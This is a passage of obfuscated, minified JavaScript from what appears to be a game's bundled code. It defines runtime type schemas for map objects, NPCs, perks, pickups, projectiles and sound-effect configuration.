_0x550028['intersection']([_0x550028['type']({ 'animationName': _0x550028['array'](_0x550028['string']), 'subExplosions': _0x550028['union']([_0x550028['array'](_0x597a62), _0x550028['undefined']]) }), _0x550028['partial']({ 'particles': _0xc1ad36['TEmitConfig'], 'flash': _0x7af20c['TFlashConfig'], 'screenShake': _0x7af20c['TScreenShakeConfig'], 'shaderLightConfig': _0x28345d, 'sound': _0x550028['union']([_0x4b1e3d['TRequestSoundConfig'], _0x550028['array'](_0x4b1e3d['TRequestSoundConfig'])]), 'useAllSounds': _0x550028['boolean'], 'randomDirection': _0x550028['boolean'] })]); }, 0x1dbd: function (_0x300de5, _0x5e0d2e, _0x10e4db) { 'use strict'; var _0x4584c3 = this && this['__createBinding'] || (Object['create'] ? function (_0x4d4a55, _0x2a1145, _0x298e15, _0x5a2cd6) { void 0x0 === _0x5a2cd6 && (_0x5a2cd6 = _0x298e15); var _0x33b317 = Object['getOwnPropertyDescriptor'](_0x2a1145, _0x298e15); _0x33b317 && !('get' in _0x33b317 ? !_0x2a1145['__esModule'] : _0x33b317['writable'] || _0x33b317['configurable']) || (_0x33b317 = { 'enumerable': !0x0, 'get': function () { return _0x2a1145[_0x298e15]; } }), Object['defineProperty'](_0x4d4a55, _0x5a2cd6, _0x33b317); } : function (_0x183d86, _0x2b1031, _0x5960ba, _0x1de635) { void 0x0 === _0x1de635 && (_0x1de635 = _0x5960ba), _0x183d86[_0x1de635] = _0x2b1031[_0x5960ba]; }), _0x2b682c = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x42294e, _0x187a36) { Object['defineProperty'](_0x42294e, 'default', { 'enumerable': !0x0, 'value': _0x187a36 }); } : function (_0x58367e, _0x20a1a9) { _0x58367e['default'] = _0x20a1a9; }), _0x16ebd5 = this && this['__importStar'] || function (_0x5f35f5) { if (_0x5f35f5 && _0x5f35f5['__esModule']) return _0x5f35f5; var _0x6b680a = {}; if (null != _0x5f35f5) { for (var _0x15d1f4 in _0x5f35f5) 'default' !== _0x15d1f4 && Object['prototype']['hasOwnProperty']['call'](_0x5f35f5, _0x15d1f4) && _0x4584c3(_0x6b680a, _0x5f35f5, _0x15d1f4); } return _0x2b682c(_0x6b680a, _0x5f35f5), _0x6b680a; }; Object['defineProperty'](_0x5e0d2e, '__esModule', { 'value': !0x0 }), _0x5e0d2e['TPortalObjectConfig'] = _0x5e0d2e['TMapObjectConfig'] = void 0x0; const _0x834d47 = _0x10e4db(0xda6), _0x5d4bd5 = _0x10e4db(0x20e7), _0x5ac29b = _0x10e4db(0x5f9), _0x39d310 = _0x10e4db(0xed4), _0x112098 = _0x16ebd5(_0x10e4db(0x22f3)), _0x48ae54 = _0x112098['intersection']([_0x112098['type']({ 'name': _0x112098['literal']('animatedSprite'), 'animationName': _0x112098['union']([_0x112098['string'], _0x112098['array'](_0x112098['string'])]) }), _0x112098['partial']({ 'animationLightName': _0x112098['union']([_0x112098['string'], _0x112098['array'](_0x112098['string'])]) })]), _0x269a95 = _0x112098['intersection']([_0x112098['type']({ 'name': _0x112098['literal']('spine'), 'spineAssetName': _0x112098['string'], 'scale': _0x112098['number'] }), _0x112098['partial']({ 'tint': _0x112098['string'], 'offsetPosition': _0x112098['type']({ 'x': _0x112098['number'], 'y': _0x112098['number'] }) })]), _0x38c586 = _0x112098['union']([_0x48ae54, _0x269a95]), _0x1a627c = _0x112098['type']({ 'hx': _0x112098['number'], 'hy': _0x112098['number'] }), _0x1fd8be = _0x112098['intersection']([_0x112098['type']({ 'colliderDimensions': _0x1a627c, 'ownCollisionGroup': _0x112098['string'], 'collidesWithCollisionGroups': _0x112098['array'](_0x112098['string']) }), _0x112098['partial']({ 'isFixed': _0x112098['boolean'], 'mass': _0x112098['number'], 'gravityScale': _0x112098['number'] })]), _0x397ced = _0x112098['type']({ 'minAmount': _0x112098['number'], 'maxAmount': _0x112098['number'], 'chunkAnimation': _0x112098['string'] }), _0x37f5d9 = _0x112098['intersection']([_0x112098['type']({ 'dropChance': _0x112098['number'], 'dropItem': _0x112098['string'] }), _0x112098['partial']({ 'dropAmount': _0x112098['number'] })]), _0x4a8b31 = _0x112098['intersection']([_0x112098['type']({ 'hp': _0x112098['number'] }), _0x112098['partial']({ 'flashOnHit': _0x5ac29b['TFlashConfig'], 'flashOnDestroy': _0x5ac29b['TFlashConfig'], 'screenShakeOnHit': _0x5ac29b['TScreenShakeConfig'], 'screenShakeOnDestroy': _0x5ac29b['TScreenShakeConfig'], 'chunksOnHit': _0x112098['array'](_0x397ced), 'chunksOnDestroy': _0x112098['array'](_0x397ced), 'particlesOnHit': _0x39d310['TEmitConfig'], 'explosionOnDestroy': _0x112098['string'], 'particlesOnDestroy': _0x39d310['TEmitConfig'], 'dropOnHit': _0x112098['array'](_0x37f5d9), 'dropOnDestroy': _0x112098['array'](_0x37f5d9) })]); _0x5e0d2e['TMapObjectConfig'] = _0x112098['intersection']([_0x112098['type']({ 'name': _0x112098['string'], 'actorTags': _0x112098['array'](_0x112098['string']) }), _0x112098['partial']({ 'renderConfig': _0x38c586, 'colliderConfig': _0x1fd8be, 'damageConfig': _0x4a8b31, 'uiIconPath': _0x112098['string'], 'customComponents': _0x112098['array'](_0x834d47['TCustomComponent']) })]), _0x5e0d2e['TPortalObjectConfig'] = _0x112098['intersection']([_0x5e0d2e['TMapObjectConfig'], _0x112098['type']({ 'weapons': _0x112098['array'](_0x112098['string']), 'firingPoints': _0x112098['record'](_0x112098['string'], _0x5d4bd5['TFiringPointConfig']) })]); }, 0x21e0: function (_0x466ba2, _0xfa3614, _0x4beb29) { 'use strict'; var _0x4c4947 = this && this['__createBinding'] || (Object['create'] ? function (_0x23d552, _0x3e6970, _0x59b295, _0x53ac75) { void 0x0 === _0x53ac75 && (_0x53ac75 = _0x59b295); var _0xc7b554 = Object['getOwnPropertyDescriptor'](_0x3e6970, _0x59b295); _0xc7b554 && !('get' in _0xc7b554 ? !_0x3e6970['__esModule'] : _0xc7b554['writable'] || _0xc7b554['configurable']) || (_0xc7b554 = { 'enumerable': !0x0, 'get': function () { return _0x3e6970[_0x59b295]; } }), Object['defineProperty'](_0x23d552, _0x53ac75, _0xc7b554); } : function (_0x15c94c, _0x461414, _0x455a7e, _0x3296c5) { void 0x0 === _0x3296c5 && (_0x3296c5 = _0x455a7e), _0x15c94c[_0x3296c5] = _0x461414[_0x455a7e]; }), _0x513a04 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0xaf191f, _0x277d15) { Object['defineProperty'](_0xaf191f, 'default', { 'enumerable': !0x0, 'value': _0x277d15 }); } : function (_0x5e98a1, _0x518ee7) { _0x5e98a1['default'] = _0x518ee7; }), _0x376556 = this && this['__importStar'] || function (_0xd58287) { if (_0xd58287 && _0xd58287['__esModule']) return _0xd58287; var _0x3e55ce = {}; if (null != _0xd58287) { for (var _0x411cca in _0xd58287) 'default' !== _0x411cca && Object['prototype']['hasOwnProperty']['call'](_0xd58287, _0x411cca) && _0x4c4947(_0x3e55ce, _0xd58287, _0x411cca); } return _0x513a04(_0x3e55ce, _0xd58287), _0x3e55ce; }; Object['defineProperty'](_0xfa3614, '__esModule', { 'value': !0x0 }), _0xfa3614['TNpcConfig'] = void 0x0; const _0x33c479 = _0x4beb29(0x1ecd), _0x19442c = _0x376556(_0x4beb29(0x22f3)); _0xfa3614['TNpcConfig'] = _0x19442c['intersection']([_0x19442c['type']({ 'name': _0x19442c['string'], 'animationName': _0x19442c['string'], 'colliderWidth': _0x19442c['number'], 'colliderHeight': _0x19442c['number'], 'interactionRadius': _0x19442c['number'] }), _0x19442c['partial']({ 'interactionText': _0x19442c['string'], 'interactionTextRenderOffset': _0x19442c['type']({ 'x': _0x19442c['number'], 'y': _0x19442c['number'] }), 'interactionSound': _0x33c479['TRequestSoundConfig'] })]); }, 0x1a9e: function (_0x16c0ee, _0x47a65e, _0x26a5bd) { 'use strict'; var _0x3e55b1 = this && this['__createBinding'] || (Object['create'] ? function (_0xbc3982, _0x2aa480, _0x49de56, _0x2617a) { void 0x0 === _0x2617a && (_0x2617a = _0x49de56); var _0x1b04ad = Object['getOwnPropertyDescriptor'](_0x2aa480, _0x49de56); _0x1b04ad && !('get' in _0x1b04ad ? !_0x2aa480['__esModule'] : _0x1b04ad['writable'] || _0x1b04ad['configurable']) || (_0x1b04ad = { 'enumerable': !0x0, 'get': function () { return _0x2aa480[_0x49de56]; } }), Object['defineProperty'](_0xbc3982, _0x2617a, _0x1b04ad); } : function (_0x5c4b04, _0x198544, _0xb2a5c0, _0x278916) { void 0x0 === _0x278916 && (_0x278916 = _0xb2a5c0), _0x5c4b04[_0x278916] = _0x198544[_0xb2a5c0]; }), _0x15fce4 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x36acea, _0x28d888) { Object['defineProperty'](_0x36acea, 'default', { 'enumerable': !0x0, 'value': _0x28d888 }); } : function (_0x4f3d3a, _0x1fd8ae) { _0x4f3d3a['default'] = _0x1fd8ae; }), _0x20b545 = this && this['__importStar'] || function (_0x19b485) { if (_0x19b485 && _0x19b485['__esModule']) return _0x19b485; var _0x103705 = {}; if (null != _0x19b485) { for (var _0x50553a in _0x19b485) 'default' !== _0x50553a && Object['prototype']['hasOwnProperty']['call'](_0x19b485, _0x50553a) && _0x3e55b1(_0x103705, _0x19b485, _0x50553a); } return _0x15fce4(_0x103705, _0x19b485), _0x103705; }; Object['defineProperty'](_0x47a65e, '__esModule', { 'value': !0x0 }), _0x47a65e['TOtherConfig'] = void 0x0; const _0x2c13a7 = _0x20b545(_0x26a5bd(0x22f3)), _0x3a4d9c = _0x2c13a7['intersection']([_0x2c13a7['type']({ 'name': _0x2c13a7['literal']('animatedSprite'), 'animationName': _0x2c13a7['union']([_0x2c13a7['string'], _0x2c13a7['array'](_0x2c13a7['string'])]) }), _0x2c13a7['partial']({ 'animationLightName': _0x2c13a7['union']([_0x2c13a7['string'], _0x2c13a7['array'](_0x2c13a7['string'])]) })]), _0x18379e = _0x2c13a7['intersection']([_0x2c13a7['type']({ 'name': _0x2c13a7['literal']('spine'), 'spineAssetName': _0x2c13a7['string'], 'scale': _0x2c13a7['number'] }), _0x2c13a7['partial']({ 'tint': _0x2c13a7['string'], 'offsetPosition': _0x2c13a7['type']({ 'x': _0x2c13a7['number'], 'y': _0x2c13a7['number'] }) })]), _0x3cb573 = _0x2c13a7['union']([_0x3a4d9c, _0x18379e]); _0x47a65e['TOtherConfig'] = _0x2c13a7['intersection']([_0x2c13a7['type']({ 'renderConfig': _0x3cb573, 'name': _0x2c13a7['string'] }), _0x2c13a7['partial']({})]); }, 0x12f1: function (_0x4b0cb1, _0x1bbcb5, _0x326ff6) { 'use strict'; var _0x28b3f6 = this && this['__createBinding'] || (Object['create'] ? function (_0x4f3ec3, _0x4f2d2e, _0x1f578a, _0x189e3d) { void 0x0 === _0x189e3d && (_0x189e3d = _0x1f578a); var _0x52351f = Object['getOwnPropertyDescriptor'](_0x4f2d2e, _0x1f578a); _0x52351f && !('get' in _0x52351f ? !_0x4f2d2e['__esModule'] : _0x52351f['writable'] || _0x52351f['configurable']) || (_0x52351f = { 'enumerable': !0x0, 'get': function () { return _0x4f2d2e[_0x1f578a]; } }), Object['defineProperty'](_0x4f3ec3, _0x189e3d, _0x52351f); } : function (_0x5b5ea4, _0x24ca39, _0x75e38d, _0x45b59d) { void 0x0 === _0x45b59d && (_0x45b59d = _0x75e38d), _0x5b5ea4[_0x45b59d] = _0x24ca39[_0x75e38d]; }), _0x125f68 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x3f29d9, _0x3ceeda) { Object['defineProperty'](_0x3f29d9, 'default', { 'enumerable': !0x0, 'value': _0x3ceeda }); } : function (_0x2818b8, _0x1db97b) { _0x2818b8['default'] = _0x1db97b; }), _0x5cd4df = this && this['__importStar'] || function (_0x964e1) { if (_0x964e1 && _0x964e1['__esModule']) return _0x964e1; var _0x2f9c6b = {}; if (null != _0x964e1) { for (var _0x332797 in _0x964e1) 'default' !== _0x332797 && Object['prototype']['hasOwnProperty']['call'](_0x964e1, _0x332797) && _0x28b3f6(_0x2f9c6b, _0x964e1, _0x332797); } return _0x125f68(_0x2f9c6b, _0x964e1), _0x2f9c6b; }; Object['defineProperty'](_0x1bbcb5, '__esModule', { 'value': !0x0 }), _0x1bbcb5['TPerkConfig'] = _0x1bbcb5['TPerkStatisticConfig'] = void 0x0; const _0x5848fd = _0x5cd4df(_0x326ff6(0x22f3)); _0x1bbcb5['TPerkStatisticConfig'] = _0x5848fd['type']({ 'name': _0x5848fd['string'], 'iconPath': _0x5848fd['string'], 'value': _0x5848fd['union']([_0x5848fd['string'], _0x5848fd['undefined']]) }), _0x1bbcb5['TPerkConfig'] = _0x5848fd['intersection']([_0x5848fd['type']({ 'id': _0x5848fd['string'], 'groupId': _0x5848fd['string'], 'name': _0x5848fd['string'], 'description': _0x5848fd['string'], 'iconPath': _0x5848fd['string'], 'tint': _0x5848fd['string'], 'prerequisites': _0x5848fd['array'](_0x5848fd['string']), 'statistics': _0x5848fd['array'](_0x1bbcb5['TPerkStatisticConfig']) }), _0x5848fd['partial']({ 'weaponName': _0x5848fd['string'], 'additionalName': _0x5848fd['string'] })]); }, 0xc4e: function (_0x538326, _0x402352, _0x22d6f6) { 'use strict'; var _0x52c493 = this && this['__createBinding'] || (Object['create'] ? function (_0xe086ea, _0x14e75c, _0x7910b5, _0x2960bd) { void 0x0 === _0x2960bd && (_0x2960bd = _0x7910b5); var _0x237fd6 = Object['getOwnPropertyDescriptor'](_0x14e75c, _0x7910b5); _0x237fd6 && !('get' in _0x237fd6 ? !_0x14e75c['__esModule'] : _0x237fd6['writable'] || _0x237fd6['configurable']) || (_0x237fd6 = { 'enumerable': !0x0, 'get': function () { return _0x14e75c[_0x7910b5]; } }), Object['defineProperty'](_0xe086ea, _0x2960bd, _0x237fd6); } : function (_0x24b48e, _0x578a5c, _0x2baa77, _0x27e382) { void 0x0 === _0x27e382 && (_0x27e382 = _0x2baa77), _0x24b48e[_0x27e382] = _0x578a5c[_0x2baa77]; }), _0x4f83b0 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x4c1341, _0x3a4813) { Object['defineProperty'](_0x4c1341, 'default', { 'enumerable': !0x0, 'value': _0x3a4813 }); } : function (_0xe39871, _0x2792f4) { _0xe39871['default'] = _0x2792f4; }), _0x437324 = this && this['__importStar'] || function (_0x40ceaa) { if (_0x40ceaa && _0x40ceaa['__esModule']) return _0x40ceaa; var _0xccd904 = {}; if (null != _0x40ceaa) { for (var _0x15f1de in _0x40ceaa) 'default' !== _0x15f1de && Object['prototype']['hasOwnProperty']['call'](_0x40ceaa, _0x15f1de) && _0x52c493(_0xccd904, _0x40ceaa, _0x15f1de); } return _0x4f83b0(_0xccd904, _0x40ceaa), _0xccd904; }; Object['defineProperty'](_0x402352, '__esModule', { 'value': !0x0 }), _0x402352['TPickupConfig'] = void 0x0; const _0x9ae45e = _0x22d6f6(0xc99), _0x384c9e = _0x22d6f6(0xed4), _0x12f495 = _0x437324(_0x22d6f6(0x22f3)), _0x3bedc6 = _0x12f495['union']([_0x12f495['literal']('NONE'), _0x12f495['literal']('HP'), _0x12f495['literal']('ENERGY'), _0x12f495['literal']('SKILL1'), _0x12f495['literal']('SKILL2'), _0x12f495['literal']('SKILL3'), _0x12f495['literal']('ABILITY|ella/special_hadouken1'), _0x12f495['literal']('ABILITY|ella/special_hadouken2'), _0x12f495['literal']('ABILITY|ella/special_hadouken3'), _0x12f495['literal']('ABILITY|ella/special_homing_dart1'), _0x12f495['literal']('ABILITY|ella/special_homing_dart2'), _0x12f495['literal']('ABILITY|ella/special_homing_dart3'), _0x12f495['literal']('ABILITY|ella/special_lobbed_bomb1'), _0x12f495['literal']('ABILITY|ella/special_lobbed_bomb2'), _0x12f495['literal']('ABILITY|ella/special_lobbed_bomb3'), _0x12f495['literal']('ABILITY|ella/special_blue_beam1'), _0x12f495['literal']('ABILITY|ella/special_blue_beam2'), _0x12f495['literal']('ABILITY|ella/special_blue_beam3'), _0x12f495['literal']('ABILITY|ella/special_triple_strike1'), _0x12f495['literal']('ABILITY|ella/special_triple_strike2'), _0x12f495['literal']('ABILITY|ella/special_triple_strike3'), _0x12f495['literal']('ABILITY|ella/special_repel_wave1'), _0x12f495['literal']('ABILITY|ella/special_repel_wave2'), _0x12f495['literal']('ABILITY|ella/special_repel_wave3')]), _0x41c9c0 = _0x12f495['type']({ 'name': _0x12f495['literal']('animatedSprite'), 'animationName': _0x12f495['string'] }), _0x8c9758 = _0x12f495['intersection']([_0x12f495['type']({ 'name': _0x12f495['literal']('spine'), 'spineAssetName': _0x12f495['string'], 'scale': _0x12f495['number'] }), _0x12f495['partial']({ 'tint': _0x12f495['string'], 'offsetPosition': _0x12f495['type']({ 'x': _0x12f495['number'], 'y': _0x12f495['number'] }) })]), _0x20717a = _0x12f495['union']([_0x41c9c0, _0x8c9758]), _0x540c1d = _0x12f495['type']({ 'color': _0x12f495['string'], 'scale': _0x12f495['number'], 'flicker': _0x12f495['union']([_0x12f495['boolean'], _0x12f495['undefined']]) }), _0x4011e4 = _0x12f495['type']({ 'color': _0x12f495['string'], 'intensity': _0x12f495['number'], 'radius': _0x12f495['number'] }); _0x402352['TPickupConfig'] = _0x12f495['intersection']([_0x12f495['type']({ 'renderConfig': _0x20717a, 'name': _0x12f495['string'], 'colliderRadius': _0x12f495['number'], 'pickupRadius': _0x12f495['number'], 'action': _0x12f495['type']({ 'type': _0x3bedc6, 'value': _0x12f495['number'] }) }), _0x12f495['partial']({ 'delayedActivationTimeMS': _0x12f495['number'], 'maxTargetDistance': _0x12f495['number'], 'pullForce': _0x12f495['number'], 'ignoreGround': _0x12f495['boolean'], 'gravityScale': _0x12f495['number'], 'timeoutMS': _0x12f495['number'], 'explosionOnTimeout': _0x12f495['union']([_0x12f495['array'](_0x12f495['string']), _0x12f495['string']]), 'particlesOnTimeout': _0x384c9e['TEmitConfig'], 'restitution': _0x12f495['number'], 'friction': _0x12f495['number'], 'initialVelocity': _0x12f495['number'], 'mass': _0x12f495['number'], 'static': _0x12f495['boolean'], 'addLightConfig': _0x540c1d, 'shaderLightConfig': _0x4011e4, 'trailEffectConfigs': _0x12f495['array'](_0x9ae45e['TTrailConfig']), 'destroyOnGround': _0x12f495['boolean'], 'explosionOnGround': _0x12f495['union']([_0x12f495['array'](_0x12f495['string']), _0x12f495['string']]), 'particlesOnGround': _0x384c9e['TEmitConfig'], 'destroyOnHit': _0x12f495['boolean'], 'explosionOnHit': _0x12f495['union']([_0x12f495['array'](_0x12f495['string']), _0x12f495['string']]), 'particlesOnHit': _0x384c9e['TEmitConfig'] })]); }, 0x26c4: function (_0x5695a1, _0xc4a7b3, _0xfae560) { 'use strict'; var _0x41613a = this && this['__createBinding'] || (Object['create'] ? function (_0x4d11b1, _0x41446c, _0x29f56a, _0x2d891e) { void 0x0 === _0x2d891e && (_0x2d891e = _0x29f56a); var _0x5073d1 = Object['getOwnPropertyDescriptor'](_0x41446c, _0x29f56a); _0x5073d1 && !('get' in _0x5073d1 ? !_0x41446c['__esModule'] : _0x5073d1['writable'] || _0x5073d1['configurable']) || (_0x5073d1 = { 'enumerable': !0x0, 'get': function () { return _0x41446c[_0x29f56a]; } }), Object['defineProperty'](_0x4d11b1, _0x2d891e, _0x5073d1); } : function (_0x5e03c4, _0x400792, _0x1a6c26, _0x2f77f7) { void 0x0 === _0x2f77f7 && (_0x2f77f7 = _0x1a6c26), _0x5e03c4[_0x2f77f7] = _0x400792[_0x1a6c26]; }), _0x4ab082 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x4f8eab, _0x5c6148) { Object['defineProperty'](_0x4f8eab, 'default', { 'enumerable': !0x0, 'value': _0x5c6148 }); } : function (_0x4e5459, _0x1fd81c) { _0x4e5459['default'] = _0x1fd81c; }), _0x276f1d = this && this['__importStar'] || function (_0x3cd144) { if (_0x3cd144 && _0x3cd144['__esModule']) return _0x3cd144; var _0x139619 = {}; if (null != _0x3cd144) { for (var _0x317142 in _0x3cd144) 'default' !== _0x317142 && Object['prototype']['hasOwnProperty']['call'](_0x3cd144, _0x317142) && _0x41613a(_0x139619, _0x3cd144, _0x317142); } return _0x4ab082(_0x139619, _0x3cd144), _0x139619; }; Object['defineProperty'](_0xc4a7b3, '__esModule', { 'value': !0x0 }), _0xc4a7b3['TProjectileConfig'] = void 0x0; const _0x995cc3 = _0xfae560(0xc99), _0x51f830 = _0xfae560(0xed4), _0x2d1701 = _0xfae560(0x1ecd), _0x510778 = _0x276f1d(_0xfae560(0x22f3)), _0x1f4239 = _0x510778['type']({ 'name': _0x510778['literal']('ball'), 'radius': _0x510778['number'] }), _0x2052cc = _0x510778['type']({ 'name': _0x510778['literal']('cuboid'), 'hx': _0x510778['number'], 'hy': _0x510778['number'] }), _0x4dd247 = _0x510778['type']({ 'name': _0x510778['literal']('roundCuboid'), 'hx': _0x510778['number'], 'hy': _0x510778['number'], 'borderRadius': _0x510778['number'] }), _0x54738a = _0x510778['union']([_0x1f4239, _0x2052cc, _0x4dd247]), _0x27a493 = _0x510778['type']({ 'color': _0x510778['string'], 'scale': _0x510778['number'], 'flicker': _0x510778['union']([_0x510778['boolean'], _0x510778['undefined']]) }), _0x44429e = _0x510778['type']({ 'color': _0x510778['string'], 'intensity': _0x510778['number'], 'radius': _0x510778['number'] }), _0x4ec750 = _0x510778['union']([_0x510778['literal']('DYNAMIC'), _0x510778['literal']('FIXED'), _0x510778['literal']('KINEMATIC')]), _0x1573ea = _0x510778['intersection']([_0x510778['type']({ 'projectileType': _0x510778['string'] }), _0x510778['partial']({ 'amount': _0x510778['number'], 'retainVelocity': _0x510778['boolean'], 'retainDirection': _0x510778['boolean'], 'directionOffset': _0x510778['number'], 'randomDirectionOffset': _0x510778['number'], 'positionOffset': _0x510778['type']({ 'x': _0x510778['number'], 'y': _0x510778['number'] }), 'randomPositionOffset': _0x510778['number'] })]), _0x5329c2 = _0x510778['type']({ 'spawnFirstProjectileOnStart': _0x510778['boolean'], 'intervalMS': _0x510778['number'], 'trailConfig': _0x1573ea }), _0x3b1069 = _0x510778['type']({ 'physicsRadius': _0x510778['number'], 'renderCircle': _0x510778['union']([_0x510778['boolean'], _0x510778['undefined']]), 'renderLine': _0x510778['union']([_0x510778['boolean'], _0x510778['undefined']]) }), _0x2a36b8 = _0x510778['intersection']([_0x510778['type']({ 'targetTags': _0x510778['array'](_0x510778['string']) }), _0x510778['partial']({ 'pullDistance': _0x510778['number'], 'pullCoefficient': _0x510778['number'], 'pullForce': _0x510778['number'], 'maxTargetDistance': _0x510778['number'], 'targetingArcDeg': _0x510778['number'], 'performGroundCheck': _0x510778['boolean'], 'delayedActivationTimeMS': _0x510778['number'] })]), _0x4a28aa = _0x510778['intersection']([_0x510778['type']({ 'acceleration': _0x510778['number'] }), _0x510778['partial']({ 'maxSpeed': _0x510778['number'] })]); _0xc4a7b3['TProjectileConfig'] = _0x510778['intersection']([_0x510778['type']({}), _0x510778['partial']({ 'bodyType': _0x4ec750, 'shape': _0x54738a, 'mass': _0x510778['number'], 'gravityScale': _0x510778['number'], 'spinDegreesPerSecond': _0x510778['number'], 'accelerationConfig': _0x4a28aa, 'damage': _0x510778['number'], 'enemyDamageMultiplier': _0x510778['number'], 'friendlyFire': _0x510778['boolean'], 'pushForce': _0x510778['number'], 'pushForceUpwardSkew': _0x510778['number'], 'projectilePushForce': _0x510778['number'], 'pushMode': _0x510778['union']([_0x510778['literal']('DIRECTION_TO_TARGET'), _0x510778['literal']('PROJECTILE_DIRECTION')]), 'passThroughTargets': _0x510778['boolean'], 'stunDurationMS': _0x510778['number'], 'invulnerabilityAfterHitMS': _0x510778['number'], 'affectedTimeMS': _0x510778['number'], 'ignoreGround': _0x510778['boolean'], 'destroyOnGround': _0x510778['boolean'], 'explosionOnGround': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'particlesOnGround': _0x510778['union']([_0x51f830['TEmitConfig'], _0x510778['array'](_0x51f830['TEmitConfig'])]), 'projectilesOnGround': _0x510778['array'](_0x1573ea), 'soundOnGround': _0x2d1701['TRequestSoundConfig'], 'destroyOnHit': _0x510778['boolean'], 'explosionOnHit': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'particlesOnHit': _0x510778['union']([_0x51f830['TEmitConfig'], _0x510778['array'](_0x51f830['TEmitConfig'])]), 'projectilesOnHit': _0x510778['array'](_0x1573ea), 'soundOnHit': _0x2d1701['TRequestSoundConfig'], 'affectsProjectilesOnHit': _0x510778['boolean'], 'affectedByProjectilesOnHit': _0x510778['boolean'], 'changeIntoOnProjectileHit': _0x510778['string'], 'canChangeOwnerOfOtherProjectilesOnHit': _0x510778['boolean'], 'homingConfig': _0x2a36b8, 'timeoutMS': _0x510778['number'], 'explosionOnTimeout': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'particlesOnTimeout': _0x510778['union']([_0x51f830['TEmitConfig'], _0x510778['array'](_0x51f830['TEmitConfig'])]), 'projectilesOnTimeout': _0x510778['array'](_0x1573ea), 'soundOnTimeout': _0x2d1701['TRequestSoundConfig'], 'projectileTrail': _0x5329c2, 'animationName': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'addLightConfig': _0x27a493, 'shaderLightConfig': _0x44429e, 'recoilOwnerOnHit': _0x510778['boolean'], 'recoilOwnerOnGround': _0x510778['boolean'], 'recoilOwnerForce': _0x510778['number'], 'angularDamping': _0x510778['number'], 'linearDamping': _0x510778['number'], 'restitution': _0x510778['number'], 'friction': _0x510778['number'], 'performGroundCheck': _0x510778['boolean'], 'isBeam': _0x510778['boolean'], 'beamMaxLength': _0x510778['number'], 'beamWidth': _0x510778['number'], 'beamCoreAnimationName': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'beamStartAnimationName': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'beamEndAnimationName': _0x510778['union']([_0x510778['array'](_0x510778['string']), _0x510778['string']]), 'beamStopsOnFirstHit': _0x510778['boolean'], 'beamPiercesTargets': _0x510778['boolean'], 'trailEffectConfigs': _0x510778['array'](_0x995cc3['TTrailConfig']), 'telegraphConfig': _0x510778['union']([_0x3b1069, _0x510778['undefined']]) })]); }, 0x125b: function (_0x1daf44, _0x58f9f6, _0x151741) { 'use strict'; var _0x82e621 = this && this['__createBinding'] || (Object['create'] ? function (_0x4d9130, _0x4274cd, _0x56f49d, _0xec5928) { void 0x0 === _0xec5928 && (_0xec5928 = _0x56f49d); var _0x3ce068 = Object['getOwnPropertyDescriptor'](_0x4274cd, _0x56f49d); _0x3ce068 && !('get' in _0x3ce068 ? !_0x4274cd['__esModule'] : _0x3ce068['writable'] || _0x3ce068['configurable']) || (_0x3ce068 = { 'enumerable': !0x0, 'get': function () { return _0x4274cd[_0x56f49d]; } }), Object['defineProperty'](_0x4d9130, _0xec5928, _0x3ce068); } : function (_0x2be071, _0x22022b, _0x5473dd, _0x1bda7a) { void 0x0 === _0x1bda7a && (_0x1bda7a = _0x5473dd), _0x2be071[_0x1bda7a] = _0x22022b[_0x5473dd]; }), _0x4c732b = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x1da526, _0xa1e0ae) { Object['defineProperty'](_0x1da526, 'default', { 'enumerable': !0x0, 'value': _0xa1e0ae }); } : function (_0x1da19e, _0x208502) { _0x1da19e['default'] = _0x208502; }), _0x419b54 = this && this['__importStar'] || function (_0x379d63) { if (_0x379d63 && _0x379d63['__esModule']) return _0x379d63; var _0x4946e3 = {}; if (null != _0x379d63) { for (var _0x22f5fe in _0x379d63) 'default' !== _0x22f5fe && Object['prototype']['hasOwnProperty']['call'](_0x379d63, _0x22f5fe) && _0x82e621(_0x4946e3, _0x379d63, _0x22f5fe); } return _0x4c732b(_0x4946e3, _0x379d63), _0x4946e3; }; Object['defineProperty'](_0x58f9f6, '__esModule', { 'value': !0x0 }), _0x58f9f6['TSfxConfig'] = void 0x0; const _0x2e43ff = _0x419b54(_0x151741(0x22f3)); _0x58f9f6['TSfxConfig'] = _0x2e43ff['intersection']([_0x2e43ff['type']({ 'eventName': _0x2e43ff['string'] }), _0x2e43ff['partial']({ 'knownParameters': _0x2e43ff['array'](_0x2e43ff['string']) })]); }, 0x63a: function (_0x5288ce, _0x272fb8, _0x3c8e2f) { 'use strict'; var _0x4afafc = this && this['__createBinding'] || (Object['create'] ? function (_0x59c19d, _0x91a383, _0x3e6d12, _0xc28f8a) { void 0x0 === _0xc28f8a && (_0xc28f8a = _0x3e6d12); var _0x24e878 = Object['getOwnPropertyDescriptor'](_0x91a383, _0x3e6d12); _0x24e878 && !('get' in _0x24e878 ? !_0x91a383['__esModule'] : _0x24e878['writable'] || _0x24e878['configurable']) || (_0x24e878 = { 'enumerable': !0x0, 'get': function () { return _0x91a383[_0x3e6d12]; } }), Object['defineProperty'](_0x59c19d, _0xc28f8a, _0x24e878); } : function (_0x3e8fe7, _0x5281a5, _0x4c9400, _0x2ad685) { void 0x0 === _0x2ad685 && (_0x2ad685 = _0x4c9400), _0x3e8fe7[_0x2ad685] = _0x5281a5[_0x4c9400]; }), _0x38812c = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x167262, _0x45f5fe) { Object['defineProperty'](_0x167262, 'default', { 'enumerable': !0x0, 'value': _0x45f5fe }); } : function (_0x7e4485, _0x1cce25) { _0x7e4485['default'] = _0x1cce25; }), _0x236365 = this && this['__importStar'] || function (_0x2c44c9) { if (_0x2c44c9 && _0x2c44c9['__esModule']) return _0x2c44c9; var _0x3972de = {}; if (null != _0x2c44c9) { for (var _0x30a5f4 in _0x2c44c9) 'default' !== _0x30a5f4 && 